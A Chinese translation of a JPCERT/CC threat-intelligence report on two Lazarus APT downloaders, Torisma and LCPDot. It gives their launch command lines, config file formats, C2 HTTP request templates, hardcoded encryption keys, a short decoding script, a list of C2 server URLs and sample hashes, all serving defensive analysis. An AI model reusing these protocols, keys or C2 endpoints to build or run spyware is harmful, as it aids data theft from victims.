Lazarus是一个活跃的APT组织,攻击活动最早可追溯至2007年,曾攻击过银行、金融机构、加密货币交易所等机构,在其攻击行动中经常使用各种恶意软件,JPCERT(日本计算机应急响应协调中心)在过去的文章中介绍了一些,此次又发表了一篇新文章,介绍了此组织使用的另外两个恶意软件 Torisma 和 LCPDot 。
关键词:Lazarus ,Torisma ,LCPDot
Torisma
Torisma是一个间谍软件,通过恶意Word文档[1]传播,运行之后会从控制服务器下载执行更多恶意模块。JPCERT分析的Torisma样本是DLL文件,作为rundll32.exe的参数执行。启动Torisma的命令行信息,如下所示。
"C:WindowsSystem32rundll32.exe"
C:ProgramDataUSOSharedusosqlite3.dat,sqlite3_create_functionex mssqlite3_server_management jp-JP
根据命令行信息可以发现,样本通过密钥(本例中为:mssqlite3_server_management)解码内部数据,通过调用导出函数(本例中为“sqlite3_create_functionex”)执行恶意功能。下面详细介绍Torisma的配置信息、通信协议和其它模块。
1.1 配置
Torisma 会从指定文件中,读取控制服务器和其它配置信息 (某些样本未加载配置文件)。
%LOCALAPPDATA%.IdentityServiceAccountStore.bak
该配置文件的开头有一个12字节的签名(0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE)。仅当签名与上述值匹配时,文件内容才会在执行时加载。图1是配置文件的示例。
图1:Torisma配置示例
配置文件包含C2服务器和其他信息。(有关详细信息,请参见附录A。)
1.2 与C2服务器的通信
以下是Torisma在通信时发送的HTTP POST请求的示例。
POST /[PATH] HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: Keep-Alive
Content-Length: [Length]
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: [Server]
Cache-Control: no-cache
ACTION=VIEW&PAGE=[MAC Address]&CODE=[random numeric]&CACHE=[Base64 data]REQUEST=[random numeric]
[Base64 data]包含C2服务器的URL、MAC地址等信息。(有关数据格式详见附录B) 如果接收到以下HTTP POST请求的响应,Torisma将发送第二个请求。
Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}
这是第二个HTTP POST请求。
POST /[PATH] HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: Keep-Alive
Content-Length: [Length]
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3)
Host: [Server]
Cache-Control: no-cache
ACTION=PREVPAGE&CODE=C[random numeric]&RES=[random numeric]
将下载一个加密的base64编码模块(“+”被一个空格替换)作为对该请求的响应。Torisma使用了VEST-32算法[2]进行加密。在JPCERT/CC发现的样本中,加密密钥相同,为“ff7172d9c888b7a88a7d77372112d772”(如图2所示)。该加密算法也用于对配置文件中的C2服务器信息进行加密。
图2:Torisma的VEST-32加密密钥
1.3 Torisma模块
Torisma通过下载和执行其他模块来执行各种功能。恶意模块使用如图3所示的可执行代码格式,而不是PE格式。
图3 Torisma 模块代码
JPCERT/CC已经确认了在攻击中实际使用的几个模块功能:
-
发送受感染主机的信息
-
执行特定的文件
LCPDot
LCPDot也是一个类似Torisma的下载者木马。个别样本使用了VMProtect加壳。研究人员推测攻击者使用LCPDot在感染Torisma的受害者网络上进行横向移动。JPCERT/CC分析的样本在执行可疑行为时添加了以下命令行参数:
-
-p: RC4加密密钥
-
-s: base64编码的C2服务器信息
下面是一个带有特定命令行参数的示例。
"C:WindowsSystem32cmd.exe" /c C:ProgramDataAdobeAdobe.bin -p 0x53A4C60B
2.1 与C2服务器的通信
以下是LCPDot在通信开始时发送的HTTP POST请求的示例。
POST /[URL] HTTP/1.1
Accept: text/html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=[Base64 data]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [Host]
Content-Length: [Size]
Connection: Keep-Alive
Cache-Control: no-cache
Cookie=Enable&CookieV=[random numeric]&Cookie_Time=64
[Base64 data]包含编码后的值“[ID]-101010”。([ID]是整个通信的唯一值。)如果接收到以下对该请求的响应,LCPDot将发送第二个请求。
Authentication Success
第二个HTTP POST请求如下。
GET /[URL] HTTP/1.1
Accept: text/html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=[Base64 data]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [Host]
Content-Length: [Size]
Connection: Keep-Alive
Cache-Control: no-cache
[Base64 data]包含“[ID]-101011”的编码值。C2服务器将会发送一个rc4编码的模块,作为对该请求的响应。加密密钥,硬编码在样本中或在执行时通过选项“-p”指定。
该模块的功能未知,因为在分析过程中无法获得任何模块。至少可以确认,它包含将数据伪装成GIF图像的函数(图4)。
图4:伪装LCPDot作为GIF图像发送的数据的代码
LCPDot本身包含它的配置。(在一些示例中,需要在执行时使用选项“-s”来指定配置。)C2服务器信息用XOR+Base64编码。下面是一个解码C2服务器信息的Python脚本示例。
decoed_base64_data = base64.b64decode(encode_data)
for i in decoed_base64_data:
print chr(((ord(i) ^ 0x25) - 0x7a))
LCPDot将包括C2服务器的配置数据保存在单独的文件中。例如:
-
%TEMP%Thumbnails.db
-
%TEMP%ntuser.log1
配置数据是RC4加密的。加密密钥,硬编码在样本中或在执行时通过选项“-p”指定。图5是解码配置的示例。
图5:解码配置示例
参考文献
[1] McAfee: Operation North Star: Behind The Scenes
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/
[2] ECRYPT: VEST
https://www.ecrypt.eu.org/stream/vest.html
附录
附录A:Torisma配置
表A:配置列表
值 |
描述 |
备注 |
0x000 |
签名 |
0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE |
0x00d |
时间 |
|
0x011 |
-- |
|
0x015 |
驱动检查时间 |
|
0x01D |
睡眠时间 |
|
0x021 |
C2服务器*6 |
大小为0x202(已加密VEST-32) |
0xC2D |
C2服务器大小*6 |
大小为0x4 |
0xC45 |
光驱标志 |
是否计算光驱 的数量 |
0xC49 |
WTSActive标志 |
是否计算登录用户数 |
0xC4D |
ID |
附录B:Torisma发送的数据
表B:发送的数据格式
0x000 |
0x400 |
网址 |
0x400 |
0x18 |
受感染主机的MAC地址 |
0x418 |
0xC |
随机字符串 |
0x424 |
8 |
ID |
0x434 |
4 |
数值 |
0x438 |
4 |
"2" |
附录C :C2服务器
-
https://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
-
https://www.fabianiarte.com/newsletter/arte/view.asp
-
https://www.scimpex.com/admin/assets/backup/requisition/requisition.php
-
https://akramportal.org/public/voice/voice.php
-
https://inovecommerce.com.br/public/pdf/view.php
-
https://www.index-consulting.jp:443/eng/news/index.php
-
http://kenpa.org/yokohama/main.php
-
https://vega.mh-tec.jp:443/.well-known/index.php
-
http://www.hirokawaunso.co.jp/wordpress/wp-includes/ID3/module.audio.mp4.php
-
https://ja-fc.or.jp/shop/shopping.php
-
https://www.leemble.com/5mai-lyon/public/webconf.php
-
https://www.tronslog.com/public/appstore.php
-
https://mail.clicktocareers.com/dev_clicktocareers/public/mailview.php
附录D:恶意软件哈希值
Torisma
-
9ae9ed06a69baa24e3a539d9ce32c437a6bdc136ce4367b1cb603e728f4279d5
-
f77a9875dbf1a1807082117d69bdbdd14eaa112996962f613de4204db34faba7
-
7762ba7ae989d47446da21cd04fd6fb92484dd07d078c7385ded459dedc726f9
LCPDot
-
0c69fd9be0cc9fadacff2c0bacf59dab6d935b02b5b8d2c9cb049e9545bb55ce
-
a9334efa9f40a36e7dde7ef1fe3018b2410cd9de80d98cf4e3bb5dd7c78f7fde
-
ba57f8fcb28b7d1085e2e5e24bf2a463f0fa4bbbeb3f634e5a122d0b8dbb53cc
本文为CNTIC编译,不代表本公众号观点,转载请保留出处与链接。联系信息进入公众号后点击“论坛信息”可见。
原文链接:https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html
原文标题:Operation Dream Job by Lazarus
编译:CNTIC情报组
本文始发于微信公众号(国家网络威胁情报共享开放平台):JPCERT:Lazarus组织使用的两款恶意软件分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论